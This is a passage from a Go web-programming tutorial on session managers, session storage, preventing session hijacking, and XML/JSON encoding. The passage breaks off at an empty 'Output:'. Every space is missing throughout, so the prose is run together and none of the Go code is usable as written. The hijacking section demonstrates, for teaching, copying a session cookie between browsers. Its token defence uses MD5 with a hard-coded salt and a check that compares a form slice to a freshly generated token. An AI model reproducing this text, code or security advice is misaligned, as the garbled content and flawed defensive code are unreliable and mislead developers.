Cookies:theservercaneasilyuseSet-cookieinsideofaresponseheadertosaveasessionidtoaclient,andaclientcanthenthiscookieforfuturerequests;weoftensettheexpirytimeforcookiescontainingsessioninformationto0,whichmeansthecookiewillbesavedinmemoryandonlydeletedafterusershaveclosetheirbrowsers.URLrewrite:appendthesessionidasargumentsintheURLforallpages.Thiswayseemsmessy,butit'sthebestchoiceifclientshavedisabledcookiesintheirbrowsers.
UseGotomanagesessions
We'vetalkedaboutconstructingsessions,andyoushouldnowhaveageneraloverviewofit,buthowcanweusesessionsondynamicpages?Let'stakeacloserlookatthelifecycleofasessionsowecancontinueimplementingourGosessionmanager.
Sessionmanagementdesign
Hereisalistofsomeofthekeyconsiderationsinsessionmanagementdesign.
Globalsessionmanager.Keepsessionidunique.Haveonesessionforeveryuser.Sessionstorageinmemory,fileordatabase.Dealwithexpiredsessions.
Next,we'llexamineacompleteexampleofaGosessionmanagerandtherationalebehindsomeofitsdesigndecisions.
Sessionmanager
Defineaglobalsessionmanager:
typeManagerstruct{cookieNamestring//privatecookienamelocksync.Mutex//protectssessionproviderProvidermaxlifetimeint64}
funcNewManager(provideName,cookieNamestring,maxlifetimeint64)(*Manager,error){provider,ok:=provides[provideName]if!ok{returnnil,fmt.Errorf("session:unknownprovide%q(forgottenimport?)",provideName)}return&Manager{provider:provider,cookieName:cookieName,maxlifetime:maxlifetime},nil}
Createaglobalsessionmanagerinthemain()function:
varglobalSessions*session.Manager//Then,initializethesessionmanagerfuncinit(){globalSessions=NewManager("memory","gosessionid",3600)}
Weknowthatwecansavesessionsinmanywaysincludinginmemory,thefilesystemordirectlyintothedatabase.WeneedtodefineaProviderinterfaceinordertorepresenttheunderlyingstructureofoursessionmanager:
typeProviderinterface{SessionInit(sidstring)(Session,error)SessionRead(sidstring)(Session,error)SessionDestroy(sidstring)errorSessionGC(maxLifeTimeint64)}
SessionInitimplementstheinitializationofasession,andreturnsnewasessionifitsucceeds.SessionReadreturnsasessionrepresentedbythecorrespondingsid.Createsanewsessionandreturnsitifitdoesnotalreadyexist.SessionDestroygivenansid,deletesthecorrespondingsession.SessionGCdeletesexpiredsessionvariablesaccordingtomaxLifeTime.
Sowhatmethodsshouldoursessioninterfacehave?Ifyouhaveanyexperienceinwebdevelopment,youshouldknowthatthereareonlyfouroperationsforsessions:setvalue,getvalue,deletevalueandgetcurrentsessionid.So,oursessioninterfaceshouldhavefourmethodstoperformtheseoperations.
typeSessioninterface{Set(key,valueinterface{})error//setsessionvalueGet(keyinterface{})interface{}//getsessionvalueDelete(keyinterface{})error//deletesessionvalueSessionID()string//backcurrentsessionID}
Thisdesigntakesitsrootsfromthedatabase/sql/driver,whichdefinestheinterfacefirst,thenregistersspecificstructureswhenwewanttouseit.Thefollowingcodeistheinternalimplementationofasessionregisterfunction.
varprovides=make(map[string]Provider)
//Registermakesasessionprovideravailablebytheprovidedname.
//IfaRegisteriscalledtwicewiththesamenameorifthedriverisnil,//itpanics.funcRegister(namestring,providerProvider){ifprovider==nil{panic("session:Registerprovideisnil")}if_,dup:=provides[name];dup{
panic("session:Registercalledtwiceforprovide"+name)}provides[name]=provider}
Uniquesessionids
Sessionidsareforidentifyingusersofwebapplications,sotheymustbeunique.Thefollowingcodeshowshowtoachievethisgoal:
func(manager*Manager)sessionId()string{b:=make([]byte,32)if_,err:=io.ReadFull(rand.Reader,b);err!=nil{return""}returnbase64.URLEncoding.EncodeToString(b)}
Creatingasession
Weneedtoallocateorgetanexistingsessioninordertovalidateuseroperations.TheSessionStartfunctionisforcheckingifanythereareanysessionsrelatedtothecurrentuser,creatinganewsessionnonarefound.
func(manager*Manager)SessionStart(whttp.ResponseWriter,r*http.Request)(sessionSession){manager.lock.Lock()defermanager.lock.Unlock()cookie,err:=r.Cookie(manager.cookieName)iferr!=nil||cookie.Value==""{sid:=manager.sessionId()session,_=manager.provider.SessionInit(sid)cookie:=http.Cookie{Name:manager.cookieName,Value:url.QueryEscape(sid),Path:"/",HttpOnly:true,MaxAge:int(manager.maxlifetime)}http.SetCookie(w,&cookie)}else{sid,_:=url.QueryUnescape(cookie.Value)
session,_=manager.provider.SessionRead(sid)}return}
Hereisanexamplethatusessessionsforaloginoperation.
funclogin(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)r.ParseForm()ifr.Method=="GET"{t,_:=template.ParseFiles("login.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("username"))}else{sess.Set("username",r.Form["username"])http.Redirect(w,r,"/",302)}}
Operationvalue:set,getanddelete
TheSessionStartfunctionreturnsavariablethatimplementsasessioninterface.Howdoweuseit?
Yousawsession.Get("uid")intheaboveexampleforabasicoperation.Nowlet'sexamineamoredetailedexample.
funccount(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)createtime:=sess.Get("createtime")ifcreatetime==nil{sess.Set("createtime",time.Now().Unix())}elseif(createtime.(int64)+360)<(time.Now().Unix()){globalSessions.SessionDestroy(w,r)sess=globalSessions.SessionStart(w,r)}ct:=sess.Get("countnum")ifct==nil{
sess.Set("countnum",1)}else{sess.Set("countnum",(ct.(int)+1))}t,_:=template.ParseFiles("count.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("countnum"))}
Asyoucansee,operatingonsessionssimplyinvolvesusingthekey/valuepatternintheSet,GetandDeleteoperations.
Becausesessionshavetheconceptofanexpirytime,wedefinetheGCtoupdatethesession'slatestmodifytime.Thisway,theGCwillnotdeletesessionsthathaveexpiredbutarestillbeingused.
Resetsessions
Weknowthatwebapplicationhavealogoutoperation.Whenuserslogout,weneedtodeletethecorrespondingsession.We'vealreadyusedtheresetoperationinaboveexample-nowlet'stakealookatthefunctionbody.
//Destroysessionidfunc(manager*Manager)SessionDestroy(whttp.ResponseWriter,r*http.Request){cookie,err:=r.Cookie(manager.cookieName)iferr!=nil||cookie.Value==""{return}else{manager.lock.Lock()defermanager.lock.Unlock()manager.provider.SessionDestroy(cookie.Value)expiration:=time.Now()cookie:=http.Cookie{Name:manager.cookieName,Path:"/",HttpOnly:true,Expires:expiration,MaxAge:-1}http.SetCookie(w,&cookie)}}
Deletesessions
Let'sseehowtoletthesessionmanagerdeleteasession.WeneedtostarttheGCinthemain()function:
funcinit(){goglobalSessions.GC()}
func(manager*Manager)GC(){manager.lock.Lock()defermanager.lock.Unlock()manager.provider.SessionGC(manager.maxlifetime)time.AfterFunc(time.Duration(manager.maxlifetime),func(){manager.GC()})}
WeseethattheGCmakesfulluseofthetimerfunctioninthetimepackage.ItautomaticallycallsGCwhenthesessiontimesout,ensuringthatallsessionsareusableduringmaxLifeTime.Asimilarsolutioncanbeusedtocountonlineusers.
Summary
Sofar,weimplementedasessionmanagertomanageglobalsessionsinthewebapplicationanddefinedtheProviderinterfaceasthestorageimplementationofSession.Inthenextsection,wearegoingtotalkabouthowtoimplementProviderforadditionalsessionstoragestructures,whichyouwillbeabletoreferenceinthefuture.
Links
DirectoryPrevioussection:SessionandcookiesNextsection:Sessionstorage
6.3SessionstorageWeintroducedasimplesessionmanager'sworkingprinciplesintheprevioussection,andamongotherthings,wedefinedasessionstorageinterface.Inthissection,I'mgoingtoshowyouanexampleofamemorybasedsessionstorageenginethatimplementsthisinterface.Youcantailorthistootherformsofsessionstorageaswell.
packagememory
import("container/list""github.com/astaxie/session""sync""time")
varpder=&Provider{list:list.New()}
typeSessionStorestruct{sidstring//uniquesessionidtimeAccessedtime.Time//lastaccesstimevaluemap[interface{}]interface{}//sessionvaluestoredinside}
func(st*SessionStore)Set(key,valueinterface{})error{st.value[key]=valuepder.SessionUpdate(st.sid)returnnil}
func(st*SessionStore)Get(keyinterface{})interface{}{pder.SessionUpdate(st.sid)ifv,ok:=st.value[key];ok{returnv}else{returnnil}returnnil}
func(st*SessionStore)Delete(keyinterface{})error{delete(st.value,key)pder.SessionUpdate(st.sid)returnnil}
func(st*SessionStore)SessionID()string{returnst.sid}
typeProviderstruct{locksync.Mutex//locksessionsmap[string]*list.Element//saveinmemorylist*list.List//gc}
func(pder*Provider)SessionInit(sidstring)(session.Session,error){pder.lock.Lock()deferpder.lock.Unlock()v:=make(map[interface{}]interface{},0)newsess:=&SessionStore{sid:sid,timeAccessed:time.Now(),value:v}element:=pder.list.PushBack(newsess)pder.sessions[sid]=elementreturnnewsess,nil}
func(pder*Provider)SessionRead(sidstring)(session.Session,error){ifelement,ok:=pder.sessions[sid];ok{returnelement.Value.(*SessionStore),nil}else{sess,err:=pder.SessionInit(sid)returnsess,err}returnnil,nil}
func(pder*Provider)SessionDestroy(sidstring)error{ifelement,ok:=pder.sessions[sid];ok{delete(pder.sessions,sid)pder.list.Remove(element)returnnil}returnnil
}
func(pder*Provider)SessionGC(maxlifetimeint64){pder.lock.Lock()deferpder.lock.Unlock()
for{element:=pder.list.Back()ifelement==nil{break}if(element.Value.(*SessionStore).timeAccessed.Unix()+maxlifetime)<time.Now().Unix(){pder.list.Remove(element)delete(pder.sessions,element.Value.(*SessionStore).sid)}else{break}}}
func(pder*Provider)SessionUpdate(sidstring)error{pder.lock.Lock()deferpder.lock.Unlock()ifelement,ok:=pder.sessions[sid];ok{element.Value.(*SessionStore).timeAccessed=time.Now()pder.list.MoveToFront(element)returnnil}returnnil}
funcinit(){pder.sessions=make(map[string]*list.Element,0)session.Register("memory",pder)}
Theaboveexampleimplementsamemorybasedsessionstoragemechanism.Itusesitsinit()functiontoregisterthisstorageenginetothesessionmanager.Sohowdoweregisterthisenginefromourmainprogram?
import(
"github.com/astaxie/session"_"github.com/astaxie/session/providers/memory")
Weusetheblankimportmechanism(whichwillinvokethepackage'sinit()functionautomatically)toregisterthisenginetoasessionmanager.Wethenusethefollowingcodetoinitializethesessionmanager:
varglobalSessions*session.Manager
//initializeininit()functionfuncinit(){globalSessions,_=session.NewManager("memory","gosessionid",3600)goglobalSessions.GC()}
Links
DirectoryPrevioussection:HowtousesessionsinGoNextsection:Preventsessionhijacking
6.4PreventingsessionhijackingSessionhijackingisacommonyetserioussecuritythreat.Clientsusesessionidsforvalidationandotherpurposeswhencommunicatingwithservers.Unfortunately,maliciousthirdpartiescansometimestrackthesecommunicationsandfigureouttheclientsessionid.
Inthissection,wearegoingtoshowyouhowtohijackasessionforeducationalpurposes.
Thesessionhijackingprocess
Thefollowingcodeisacounterforthecountvariable:
funccount(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)ct:=sess.Get("countnum")ifct==nil{sess.Set("countnum",1)}else{sess.Set("countnum",(ct.(int)+1))}t,_:=template.ParseFiles("count.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("countnum"))}
Thecontentofcount.gtplisasfollows:
Hi.Nowcount:{{.}}
Wecanseethefollowingcontentinthebrowser:
Figure6.4countinbrowser.
Keeprefreshinguntilthenumberbecomes6,thenopenthebrowser'scookiemanager(Iusechromehere).Youshouldbeabletoseethefollowinginformation:
Figure6.5cookiessavedinabrowser.
Thisstepisveryimportant:openanotherbrowser(Iusefirefoxhere),copytheURLtothenewbrowser,openacookiesimulatortocreateanewcookieandinputexactlythesamevalueasthecookiewesawinourfirstbrowser.
Figure6.6Simulateacookie.
Refreshthepageandyou'llseethefollowing:
Figure6.7hijackingthesessionhassucceeded.
Hereweseethatwecanhijacksessionsbetweendifferentbrowsers,andactionsperformedinoneonebrowsercanaffectthestateofapageinanotherbrowser.BecauseHTTPisstateless,thereisnowayofknowingthatthesessionidfromfirefoxissimulated,andchromeisalsonotabletoknowthatitssessionidhasbeenhijacked.
preventsessionhijacking
cookieonlyandtoken
Throughthissimpleexampleofhijackingasession,youcanseethatit'sverydangerousbecauseitallowsattackerstodowhatevertheywant.Sohowcanwepreventsessionhijacking?
Thefirststepistoonlysetsessionidsincookies,insteadofinURLrewrites.Also,weshouldsetthehttponlycookiepropertytotrue.Thisrestrictsclientsidescriptsthatwantaccesstothesessionid.Usingthesetechniques,cookiescannotbeaccessedbyXSSanditwon'tbeaseasyasweshowedtogetasessionidfromacookiemanager.
Thesecondstepistoaddatokentoeveryrequest.Similartothewaywedealtwithrepeatformsinprevioussections,weaddahiddenfieldthatcontainsatoken.Whenarequestissenttotheserver,wecanverifythistokentoprovethattherequestisunique.
h:=md5.New()salt:="astaxie%^7&8888"io.WriteString(h,salt+time.Now().String())token:=fmt.Sprintf("%x",h.Sum(nil))ifr.Form["token"]!=token{//asktologin}sess.Set("token",token)
Sessionidtimeout
Anothersolutionistoaddacreatetimeforeverysession,andtoreplaceexpiredsessionidswithnewones.Thiscanpreventsessionhijackingundercertaincircumstances.
createtime:=sess.Get("createtime")ifcreatetime==nil{sess.Set("createtime",time.Now().Unix())}elseif(createtime.(int64)+60)<(time.Now().Unix()){globalSessions.SessionDestroy(w,r)
sess=globalSessions.SessionStart(w,r)}
Wesetavaluetosavethecreatetimeandcheckifit'sexpired(Iset60secondshere).Thisstepcanoftenthwartsessionhijackingattempts.
Combinethetwosolutionsaboveandyouwillbeabletopreventmostsessionhijackingattemptsfromsucceeding.Ontheonehand,sessionidsthatarefrequentlyresetwillresultinanattackeralwaysgettingexpiredanduselesssessionids;ontheotherhand,bysettingthehttponlypropertyoncookiesandensuringthatsessionidscanonlybepassedviacookies,allURLbasedattacksaremitigated.Finally,wesetMaxAge=0onourcookies,whichmeansthatthesessionidswillnotbesavedinthebrowserhistory.
Links
DirectoryPrevioussection:SessionstorageNextsection:Summary
6.5SummaryInthischapter,welearnedaboutthedefinitionandpurposeofsessionsandcookies,andtherelationshipbetweenthetwo.SinceGodoesn'tsupportsessionsinitsstandardlibrary,wealsodesignedourownsessionmanager.Wewentthroughtheeverythingfromcreatingclientsessionstodeletingthem.WethendefinedaninterfacecalledProviderwhichsupportsallsessionstoragestructures.Insection6.3,weimplementedamemorybasedsessionmanagertopersistclientdataacrosssessions.Insection6.4,Ishowyouonewayofhijackingasession.Thenwelookedathowtopreventyourownsessionsfrombeinghijacked.Ihopethatyounowunderstandmostoftheworkingprinciplesbehindsessionssothatyou'reabletosafelyusetheminyourapplications.
Links
DirectoryPrevioussection:PreventsessionhijackingNextchapter:Textfiles
7TextfilesHandlingtextfilesisabigpartofwebdevelopment.Weoftenneedtoproduceorhandlereceivedtextcontent,includingstrings,numbers,JSON,XML,etc.Asahighperformancelanguage,Gohasgoodsupportforthisinitsstandardlibrary.You'llfindthatthesesupportinglibrariesarejustawesome,andwillallowyoutoeasilydealwithanytextcontentyoumayencounter.Thischaptercontains4sections,andwillgiveyouafullintroductiontotextprocessinginGo.
XMLisaninteractivelanguagethatiscommonlyusedinmanyAPIs,manywebserverswritteninJavauseXMLastheirstandardinteractionlanguage.We'llmoretalkaboutXMLinsection7.1.Insection7.2,we'lltakealookatJSONwhichhasbeenverypopularinrecentyearsandismuchmoreconvenientthanXML.Insection7.3,wearegoingtotalkaboutregularexpressionswhich(forthemajorityofpeople)lookslikealanguageusedbyaliens.Insection7.4,youwillseehowtheMVCpatternisusedtodevelopapplicationsinGo,andalsohowtouseGo'stemplatepackagefortemplatingyourviews.Insection7.5,we'llintroduceyoutofileandfolderoperations.Finally,wewillexplainsomeGostringoperationsinsection7.6.
Links
DirectoryPreviousChapter:Chapter6SummaryNextsection:XML
7.1XMLXMLisacommonlyuseddatacommunicationformatinwebservices.Today,it'sassumingamoreandmoreimportantroleinwebdevelopment.Inthissection,we'regoingtointroducehowtoworkwithXMLthroughGo'sstandardlibrary.
IwillnotmakeanyattemptstoteachXML'ssyntaxorconventions.Forthat,pleasereadmoredocumentationaboutXMLitself.WewillonlyfocusonhowtoencodeanddecodeXMLfilesinGo.
SupposeyouworkinIT,andyouhavetodealwiththefollowingXMLconfigurationfile:
<?xmlversion="1.0"encoding="utf-8"?><serversversion="1"><server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server></servers>
TheaboveXMLdocumentcontainstwokindsofinformationaboutyourserver:theservernameandIP.Wewillusethisdocumentinourfollowingexamples.
ParseXML
HowdoweparsethisXMLdocument?WecanusetheUnmarshalfunctioninGo'sxmlpackagetodothis.
funcUnmarshal(data[]byte,vinterface{})error
thedataparameterreceivesadatastreamfromanXMLsource,andvisthestructureyouwanttooutputtheparsedXMLto.Itisaninterface,whichmeansyoucanconvertXMLtoanystructureyoudesire.Here,we'llonlytalkabouthowtoconvertfromXMLtothestructtypesincetheysharesimilartreestructures.
Samplecode:
packagemain
import("encoding/xml""fmt""io/ioutil""os")
typeRecurlyserversstruct{XMLNamexml.Name`xml:"servers"`Versionstring`xml:"version,attr"`Svs[]server`xml:"server"`Descriptionstring`xml:",innerxml"`}
typeserverstruct{XMLNamexml.Name`xml:"server"`ServerNamestring`xml:"serverName"`ServerIPstring`xml:"serverIP"`}
funcmain(){file,err:=os.Open("servers.xml")//Forreadaccess.iferr!=nil{fmt.Printf("error:%v",err)return}deferfile.Close()data,err:=ioutil.ReadAll(file)iferr!=nil{
fmt.Printf("error:%v",err)return}v:=Recurlyservers{}err=xml.Unmarshal(data,&v)iferr!=nil{fmt.Printf("error:%v",err)return}
fmt.Println(v)}
XMLisactuallyatreedatastructure,andwecandefineaverysimilarstructureusingstructsinGo,thenusexml.UnmarshaltoconvertfromXMLtoourstructobject.Thesamplecodewillprintthefollowingcontent:
{{servers}1[{{server}Shanghai_VPN127.0.0.1}{{server}Beijing_VPN127.0.0.2}]<server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server>}
Weusexml.UnmarshaltoparsetheXMLdocumenttothecorrespondingstructobject.Youshouldseethatwehavesomethinglikexml:"serverName"inourstruct.Thisisafeatureofstructscalledstructtagsforhelpingwithreflection.Let'sseethedefinitionofUnmarshalagain:
funcUnmarshal(data[]byte,vinterface{})error
ThefirstargumentisanXMLdatastream.Thesecondargumentisstoragetypeandsupportsthestruct,sliceandstringtypes.Go'sXMLpackageuses
reflectionfordatamapping,soallfieldsinvshouldbeexported.However,thiscausesaproblem:howcanitknowwhichXMLfieldcorrespondstothemappedstructfield?TheansweristhattheXMLparserparsesdatainacertainorder.Thelibrarywilltrytofindthematchingstructtagfirst.Ifamatchcannotbefoundthenitsearchesthroughthestructfieldnames.Beawarethatalltags,fieldnamesandXMLelementsarecasesensitive,soyouhavetomakesurethatthereisaonetoonecorrespondenceforthemappingtosucceed.
Go'sreflectionmechanismallowsyoutousethistaginformationtoreflectXMLdatatoastructobject.IfyouwanttoknowmoreaboutreflectioninGo,pleasereadthepackagedocumentationonstructtagsandreflection.
HerearesomeruleswhenusingthexmlpackagetoparseXMLdocumentstostructs:
Ifthefieldtypeisastringor[]bytewiththetag",innerxml",UnmarshalwillassignrawXMLdatatoit,likeDescriptionintheaboveexample:
Shanghai_VPN127.0.0.1Beijing_VPN127.0.0.2
IfafieldiscalledXMLNameanditstypeisxml.Name,thenitgetstheelementname,likeserversinaboveexample.
Ifafield'stagcontainsthecorrespondingelementname,thenitgetstheelementnameaswell,likeservernameandserveripintheaboveexample.Ifafield'stagcontains",attr",thenitgetsthecorrespondingelement'sattribute,likeversioninaboveexample.Ifafield'stagcontainssomethinglike"a>b>c",itgetsthevalueoftheelementcofnodebofnodea.Ifafield'stagcontains"=",thenitgetsnothing.Ifafield'stagcontains",any",thenitgetsallchildelementswhichdonotfittheotherrules.IftheXMLelementshaveoneormorecomments,allofthesecomments
willbeaddedtothefirstfieldthathasthetagthatcontains",comments".Thisfieldtypecanbeastringor[]byte.Ifthiskindoffielddoesnotexist,allcommentsarediscard.
Theserulestellyouhowtodefinetagsinstructs.Onceyouunderstandtheserules,mappingXMLtostructswillbeaseasyasthesamplecodeabove.BecausetagsandXMLelementshaveaonetoonecorrespondence,wecanalsouseslicestorepresentmultipleelementsonthesamelevel.
Notethatallfieldsinstructsshouldbeexported(capitalized)inordertoparsedatacorrectly.
ProduceXML
WhatifwewanttoproduceanXMLdocumentinsteadofparsingone.HowdowedothisinGo?Unsurprisingly,thexmlpackageprovidestwofunctionswhichareMarshalandMarshalIndent,wherethesecondfunctionautomaticallyindentsthemarshalledXMLdocument.Theirdefinitionasfollows:
funcMarshal(vinterface{})([]byte,error)funcMarshalIndent(vinterface{},prefix,indentstring)([]byte,error)
ThefirstargumentinbothofthesefunctionsisforstoringamarshalledXMLdatastream.
Let'slookatanexampletoseehowthisworks:
packagemain
import("encoding/xml""fmt""os")
typeServersstruct{XMLNamexml.Name`xml:"servers"`Versionstring`xml:"version,attr"`Svs[]server`xml:"server"`}
typeserverstruct{ServerNamestring`xml:"serverName"`ServerIPstring`xml:"serverIP"`}
funcmain(){v:=&Servers{Version:"1"}v.Svs=append(v.Svs,server{"Shanghai_VPN","127.0.0.1"})v.Svs=append(v.Svs,server{"Beijing_VPN","127.0.0.2"})output,err:=xml.MarshalIndent(v,"","")iferr!=nil{fmt.Printf("error:%v\n",err)}os.Stdout.Write([]byte(xml.Header))
os.Stdout.Write(output)}
Theaboveexampleprintsthefollowinginformation:
<?xmlversion="1.0"encoding="UTF-8"?><serversversion="1"><server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server></servers>
Aswe'vepreviouslydefined,thereasonwehaveos.Stdout.Write([]byte(xml.Header))isbecausebothxml.MarshalIndentandxml.MarshaldonotoutputXMLheadersontheirown,sowehaveto
explicitlyprinttheminordertoproduceXMLdocumentscorrectly.
HerewecanseethatMarshalalsoreceivesavparameteroftypeinterface{}.SowhataretheruleswhenmarshallingtoanXMLdocument?
Ifvisanarrayorslice,itprintsallelementslikeavalue.Ifvisapointer,itprintsthecontentthatvispointingto,printingnothingwhenvisnil.Ifvisainterface,itdealwiththeinterfaceaswell.Ifvisoneoftheothertypes,itprintsthevalueofthattype.
Sohowdoesxml.Marshaldecidetheelements'name?Itfollowstheproceedingrules:
Ifvisastruct,itdefinesthenameinthetagofXMLName.ThefieldnameisXMLNameandthetypeisxml.Name.Fieldtaginstruct.Fieldnameinstruct.Typenameofmarshal.
ThenweneedtofigureouthowtosettagsinordertoproducethefinalXMLdocument.
XMLNamewillnotbeprinted.Fieldsthathavetagscontaining"-"willnotbeprinted.Ifatagcontains"name,attr",itusesnameastheattributenameandthefieldvalueasthevalue,likeversionintheaboveexample.Ifatagcontains",attr",itusesthefield'snameastheattributenameandthefieldvalueasitsvalue.Ifatagcontains",chardata",itprintscharacterdatainsteadofelement.Ifatagcontains",innerxml",itprintstherawvalue.Ifatagcontains",comment",itprintsitasacommentwithoutescaping,soyoucannothave"--"initsvalue.Ifatagcontains"omitempty",itomitsthisfieldifitsvalueiszero-value,
includingfalse,0,nilpointerornilinterface,zerolengthofarray,slice,mapandstring.
Ifatagcontains"a>b>c",itprintsthreeelementswhereacontainsbandbcontainsc,likeinthefollowingcode:
FirstNamestringxml:"name>first"LastNamestringxml:"name>last"
AstaXie
YoumayhavenoticedthatstructtagsareveryusefulfordealingwithXML,andthesamegoesfortheotherdataformatswe'llbediscussinginthefollowingsections.Ifyoustillfindthatyouhaveproblemswithworkingwithstructtags,youshouldprobablyreadmoredocumentationaboutthembeforedivingintothenextsection.
Links
DirectoryPrevioussection:TextfilesNextsection:JSON
7.2JSONJSON(JavaScriptObjectNotation)isalightweightdataexchangelanguagewhichisbasedontextdescription.Itsadvantagesincludebeingself-descriptive,easytounderstand,etc.EventhoughitisasubsetofJavaScript,JSONusesadifferenttextformat,theresultbeingthatitcanbeconsideredasanindependentlanguage.JSONbearssimilaritytoC-familylanguages.
ThebiggestdifferencebetweenJSONandXMListhatXMLisacompletemarkuplanguage,whereasJSONisnot.JSONissmallerandfasterthanXML,thereforeit'smucheasierandquickertoparseinbrowsers,whichisoneofthereasonswhymanyopenplatformschoosetouseJSONastheirdataexchangeinterfacelanguage.
SinceJSONisbecomingmoreandmoreimportantinwebdevelopment,let'stakealookatthelevelofsupportGohasforJSON.You'llfindthatGo'sstandardlibraryhasverygoodsupportforencodinganddecodingJSON.
HereweuseJSONtorepresenttheexampleintheprevioussection:
{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}
TherestofthissectionwillusethisJSONdatatointroduceJSONconceptsinGo.
ParseJSON
Parsetostruct
SupposewehavetheJSONintheaboveexample.HowcanweparsethisdataandmapittoastructinGo?Goprovidesthefollowingfunctionforjustthispurpose:
funcUnmarshal(data[]byte,vinterface{})error
Wecanusethisfunctionlikeso:
packagemain
import("encoding/json""fmt")
typeServerstruct{ServerNamestringServerIPstring}
typeServerslicestruct{Servers[]Server}
funcmain(){varsServerslicestr:=`{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`json.Unmarshal([]byte(str),&s)fmt.Println(s)}
Intheaboveexample,wedefinedacorrespondingstructsinGoforourJSON,usingsliceforanarrayofJSONobjectsandfieldnameasourJSONkeys.ButhowdoesGoknowwhichJSONobjectcorrespondstowhichspecificstructfiled?SupposewehaveakeycalledFooinJSON.Howdowefinditscorrespondingfield?
First,Gotriestofindthe(capitalised)exportedfieldwhosetagcontainsFoo.Ifnomatchcanbefound,lookforthefieldwhosenameisFoo.IftherearestillnotmatcheslookforsomethinglikeFOOorFoO,ignoringcasesensitivity.
Youmayhavenoticedthatallfieldsthataregoingtobeassignedshouldbeexported,andGoonlyassignsfieldsthatcanbefound,ignoringallothers.ThiscanbeusefulifyouneedtodealwithlargechunksofJSONdatabutyouonlyaspecificsubsetofit;thedatayoudon'tneedcaneasilybediscarded.
Parsetointerface
WhenweknowwhatkindofJSONtoexpectinadvance,wecanparseittoaspecificstruct.Butwhatifwedon'tknow?
Weknowthataninterface{}canbeanythinginGo,soitisthebestcontainertosaveourJSONofunknownformat.TheJSONpackageusesmap[string]interface{}and[]interface{}tosaveallkindsofJSON
objectsandarrays.HereisalistofJSONmappingrelations:
boolrepresentsJSONbooleans,float64representsJSONnumbers,stringrepresentsJSONstrings,nilrepresentsJSONnull.
SupposewehavethefollowingJSONdata:
b:=[]byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)
NowweparsethisJSONtoaninterface{}:
varfinterface{}err:=json.Unmarshal(b,&f)
Thefstoresamap,wherekeysarestringsandvaluesareinterface{}'s'.
f=map[string]interface{}{"Name":"Wednesday","Age":6,"Parents":[]interface{}{"Gomez","Morticia",},}
So,howdoweaccessthisdata?Typeassertion.
m:=f.(map[string]interface{})
Afterasserted,youcanusethefollowingcodetoaccessdata:
fork,v:=rangem{switchvv:=v.(type){casestring:fmt.Println(k,"isstring",vv)caseint:fmt.Println(k,"isint",vv)casefloat64:fmt.Println(k,"isfloat64",vv)case[]interface{}:fmt.Println(k,"isanarray:")fori,u:=rangevv{fmt.Println(i,u)}default:fmt.Println(k,"isofatypeIdon'tknowhowtohandle")}}
Asyoucansee,wecanparseJSONofanunknownformatthroughinterface{}andtypeassertnow.
Theaboveexampleistheofficialsolution,buttypeassertingisnotalwaysconvenient.So,Irecommendanopensourceprojectcalledsimplejson,createdandmaintainedbybybitly.HereisanexampleofhowtousethisprojecttodealwithJSONofanunknownformat:
js,err:=NewJson([]byte(`{"test":{"array":[1,"2",3],"int":10,"float":5.150,"bignum":9223372036854775807,"string":"simplejson","bool":true}}`))
arr,_:=js.Get("test").Get("array").Array()i,_:=js.Get("test").Get("int").Int()ms:=js.Get("test").Get("string").MustString()
It'snothardtoseehowconvenientthisis.Checkouttherepositorytoseemoreinformation:https://github.com/bitly/go-simplejson.
ProducingJSON
Inmanysituations,weneedtoproduceJSONdataandrespondtoclients.InGo,theJSONpackagehasafunctioncalledMarshaltodojustthat:
funcMarshal(vinterface{})([]byte,error)
Supposeweneedtoproduceaserverinformationlist.Wehavefollowingsample:
packagemain
import("encoding/json""fmt")
typeServerstruct{ServerNamestringServerIPstring}
typeServerslicestruct{Servers[]Server}
funcmain(){varsServerslices.Servers=append(s.Servers,Server{ServerName:"Shanghai_VPN",ServerIP:"127.0.0.1"})s.Servers=append(s.Servers,Server{ServerName:"Beijing_VPN",ServerIP:"127.0.0.2"})b,err:=json.Marshal(s)iferr!=nil{fmt.Println("jsonerr:",err)}
fmt.Println(string(b))}
Output:
{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}
Asyouknow,allfieldnamesarecapitalized,butifyouwantyourJSONkeynamestostartwithalowercaseletter,youshouldusestructtags.Otherwise,Gowillnotproducedataforinternalfields.
typeServerstruct{ServerNamestring`json:"serverName"`ServerIPstring`json:"serverIP"`}
typeServerslicestruct{Servers[]Server`json:"servers"`}
Afterthismodification,wecanproducethesameJSONdataasbefore.
HerearesomepointsyouneedtokeepinmindwhentryingtoproduceJSON:
Fieldtagscontaining"-"willnotbeoutputted.Ifatagcontainsacustomizedname,Gousesthisinsteadofthefieldname,likeserverNameintheaboveexample.Ifatagcontainsomitempty,thisfieldwillnotbeoutputtedifitisitszero-value.Ifthefieldtypeisbool,string,int,int64,etc,anditstagcontains",string",GoconvertsthisfieldtoitscorrespondingJSONtype.
Example:
typeServerstruct{//IDwillnotbeoutputed.IDint`json:"-"`
//ServerName2willbeconvertedtoJSONtype.ServerNamestring`json:"serverName"`ServerName2string`json:"serverName2,string"`
//IfServerIPisempty,itwillnotbeoutputed.ServerIPstring`json:"serverIP,omitempty"`}
s:=Server{ID:3,ServerName:`Go"1.0"`,ServerName2:`Go"1.0"`,ServerIP:``,}b,_:=json.Marshal(s)os.Stdout.Write(b)
Output:
